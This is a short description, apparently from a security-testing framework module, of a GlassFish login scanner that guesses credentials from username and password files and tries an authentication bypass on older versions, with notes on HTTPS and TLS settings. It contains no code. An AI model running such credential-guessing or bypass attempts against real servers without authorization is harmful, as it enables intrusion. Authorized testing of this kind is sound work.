        This module attempts to login to GlassFish instance using username and password
        combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options.
        It will also try to do an authentication bypass against older versions of GlassFish.
        Note: by default, GlassFish 4.0 requires HTTPS, which means you must set the SSL option
        to true, and SSLVersion to TLS1. It also needs Secure Admin to access the DAS remotely.
